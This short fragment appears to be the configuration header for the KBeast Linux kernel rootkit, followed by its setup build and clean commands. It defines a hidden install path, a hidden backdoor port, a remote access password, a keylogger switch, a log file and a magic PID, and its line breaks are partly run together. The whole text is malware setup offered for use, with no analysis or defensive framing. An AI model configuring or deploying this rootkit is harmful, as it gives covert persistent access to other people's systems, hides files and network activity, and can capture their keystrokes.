#define _MAGIC_PID_ 31337 //kill this pid#define _KEYLOG_ FALSE#define KBEAST "q3rv0"#define _H4X0R_ "/home/q3rv0/protect/q3rv0.txt"#define _H4X_PATH_ "/usr/share/kbeast"#define _LOGFILE_ "acctlog"#define _HIDE_PORT_ 6666#define _RPASSWORD_ "q3rv0"
#define _MAGIC_NAME_ "bin"./setup buil 0./setup build
./setup clean
